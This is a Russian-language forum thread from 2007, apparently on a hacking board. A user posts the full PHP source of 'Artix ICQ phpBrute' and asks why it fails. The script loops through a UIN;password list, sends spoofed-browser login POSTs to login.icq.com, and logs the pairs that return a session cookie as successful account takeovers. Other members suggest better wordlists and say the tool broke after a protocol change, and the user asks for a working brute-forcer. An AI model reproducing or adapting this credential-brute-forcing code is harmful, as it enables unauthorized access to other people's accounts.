phpbrut

Discussion in 'Skype, IRC, ICQ, Jabber и другие IM' started by Rosssi, 27 Mar 2007.

  1. Rosssi

    Rosssi New Member

    Joined:
    13 Mar 2007
    Messages:
    11
    Likes Received:
    1
    Reputations:
    0
    Народ у когнить есть ?
    Вот этот попробовал
    Code:
    <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"
    "http://www.w3.org/TR/html4/loose.dtd">
    <html>
    <head>
    <title>Artix ICQ phpBrute</title>
    <http-equiv="Content-Type" content="text/html; charset=windows-1251">
    </head>
    <body>
    <?
    
    ///Для того, чтбы скрипт бесконечно работал
    set_time_limit(0);
    
    ///Чтобы все ошибки показывал
    Error_Reporting(E_ALL & ~E_NOTICE);
    
    ///Константы, просьба не менять
    $config=array();
    $config['good']='../htgood.txt'; ///Складывать хорошие номера суда(рекомендую приставку .ht, тогда файл нельзя будет из веб прочитать) 
    $config['pass']='../pass.txt'; ///Лист паролей
    $config['separator']=';'; /// Разделитель уин;pass
    $config['host']='login.icq.com'; /// HTTP сервер мирабов
    $config['port']=80; /// HTTP порт
    $config['statfile']='../stat.html'; ///Служебный файл
    
    ///Если брутер запущен, то выдаем результат работы
    if(file_exists($config['statfile'])) 
    {
    include($config['statfile']);
    echo '
    </body>
    </html>';
    exit();
    } 
    
    ///Типа притворяемся браузером
    $request = "POST /karma/login.php HTTP/1.1\r\n";
    $request .= "Host: ".$config['host']." \r\n";
    $request .= "User-Agent: Opera 7.50";
    $request .= "rulez\r\n";
    $request .= "Keep-Alive: 300\r\n";
    $request .= "Connection: keep-alive\r\n";
    $request .= "Referer: http://yandex.ru/ \r\n";
    
    ///Плохие и хорошие уины
    $goodcount=0;
    $badcount=0;
    
    ///Открытие файла с паролями
    $pass=file($config['pass']);
    
    ///Непосредственно брут
    for($i=0;$i<count($pass);$i++)
    {
    list($s,$s1)=explode($config['separator'],$pass[$i]);
    
    ///Данные для отправки к мирабам
    $posts = array ( 'dest' => '/whitepages/user_details.php',
    'desc' => '', 
    'service' => '20',
    'css'=> 'whitepages',
    'uin_email'=> $s,
    'password' => trim($s1)
    );
    $postValues="";
    $s='';
    
    ///Кодирование
    foreach( $posts AS $name => $value )
    {
    $postValues .= urlencode($name) . "=" . urlencode($value) . '&'; 
    }
    
    ///Создаем post запрос
    $lenght = strlen($postValues);
    $request2 = $request."Content-Type: application/x-www-form-urlencoded\r\n";
    $request2 .= "Content-Length: $lenght\r\n";
    $request2 .= "\r\n";
    $request2 .= $postValues;
    
    ///Открываем сокет
    $fp = fsockopen($config['host'],$config['port'], $errno, $errstr, 30);
    if (!$fp) 
    {
    ///На случай ошибки
    echo "$errstr ($errno)<br />\n";
    } 
    else 
    {
    ///Отправляем данные на whitepages
    fwrite($fp, $request2);
    while (!feof($fp)) 
    {
    $s.=fgets($fp, 128);
    }
    
    }
    ///Закрываем сокет
    fclose($fp);
    
    ///Если аська залогинилась, то whitepages посылает куки, которые мы и ловим. Всю страницу мы не скачиваем
    if(strpos($s,'Set-C*****')==true)
    {
    $good=fopen($config['good'],'a');
    fwrite($good,$pass[$i]);
    fclose($good);
    $goodcount++;
    }
    else $badcount++; 
    
    if($i%10==0) 
    { 
    $count=count($pass)-$i; 
    
    ///Обновление статистики
    $s=<<<HTML
    --------------------------<br>
    <b>Artix ICQ phpBrute</b> <br>
    --------------------------<br>
    Хороших: $goodcount<br>
    Плохих: $badcount<br>
    Осталось: $count<br>
    ---<br>
    HTML;
    
    $stat=fopen($config['statfile'],'w+');
    fwrite($stat,$s);
    fclose($stat); 
    }
    } 
    
    $s=<<<HTML
    --------------------------<br>
    <b>Artix ICQ phpBrute</b> <br>
    --------------------------<br>
    Работа завершена. <br>
    Хороших: $goodcount<br>
    Плохих: $badcount<br>
    Для продолжения, удалите файл со статистикой<br>
    ---<br>
    HTML;
    
    ///Запись конечного результата в файл
    $stat=fopen($config['statfile'],'w+');
    fwrite($stat,$s);
    fclose($stat); 
    
    ///Брут завершен
    ?>
    Он зараза не прокатил или чето не то делал ?
     
    #1 Rosssi, 27 Mar 2007
    Last edited by a moderator: 27 Mar 2007
  2. blaga

    blaga Elder - Старейшина

    Joined:
    23 Mar 2006
    Messages:
    884
    Likes Received:
    273
    Reputations:
    106
    ты опиши конкретнее что неполучилось, какие ошибки выдал и так далее...
    И пользуйся кнопкой "Код".
     
  3. Rosssi

    Rosssi New Member

    Joined:
    13 Mar 2007
    Messages:
    11
    Likes Received:
    1
    Reputations:
    0
    Когда все завершается вот что выходит
    --------------------------
    Artix ICQ phpBrute
    --------------------------
    Работа завершена.
    Хороших: 0
    Плохих: 2
    Для продолжения, удалите файл со статистикой
    ----
    И что это значит ?
     
  4. satana8920

    satana8920 Палач Античата

    Joined:
    22 Sep 2006
    Messages:
    396
    Likes Received:
    138
    Reputations:
    6
    ну я думаю это означает что у тя плохой словарь и брут твой окончился неудачай! =)
     
  5. Rosssi

    Rosssi New Member

    Joined:
    13 Mar 2007
    Messages:
    11
    Likes Received:
    1
    Reputations:
    0
    Смешно я свою icq брутил :) И как узнать подошел пороль или нет ?
     
  6. Rosssi

    Rosssi New Member

    Joined:
    13 Mar 2007
    Messages:
    11
    Likes Received:
    1
    Reputations:
    0
    Посоветуйте пожалуйста phpbrut
     
  7. Sn@k3

    Sn@k3 Elder - Старейшина

    Joined:
    13 Apr 2006
    Messages:
    1,000
    Likes Received:
    438
    Reputations:
    90
    те говорят, словарь лучше ставь
     
  8. Rosssi

    Rosssi New Member

    Joined:
    13 Mar 2007
    Messages:
    11
    Likes Received:
    1
    Reputations:
    0
    Все перепробовал не пашет :( Может ктонить попробывать у себя ?
     
  9. P@NK

    P@NK Member

    Joined:
    3 Feb 2007
    Messages:
    9
    Likes Received:
    5
    Reputations:
    0
    Rosssi, я этот скрипт еще давно пробовал пользовать...правда он мне не очень нужен был , но вся тема в том что он вроде выдавал такую же хрень =/...тоесть даже если пароль правильный он выдает его за неправильный =(
    З.Ы.мне кажется, что он уже не рабочий...лично я его качал как минимум пол года назад
     
  10. Juggernaut

    Juggernaut Elder - Старейшина

    Joined:
    14 Dec 2006
    Messages:
    36
    Likes Received:
    26
    Reputations:
    0
    Он уже больше полугода как не пашет точно, после смены протоколов.
     
  11. Rosssi

    Rosssi New Member

    Joined:
    13 Mar 2007
    Messages:
    11
    Likes Received:
    1
    Reputations:
    0
    А есть работующие ?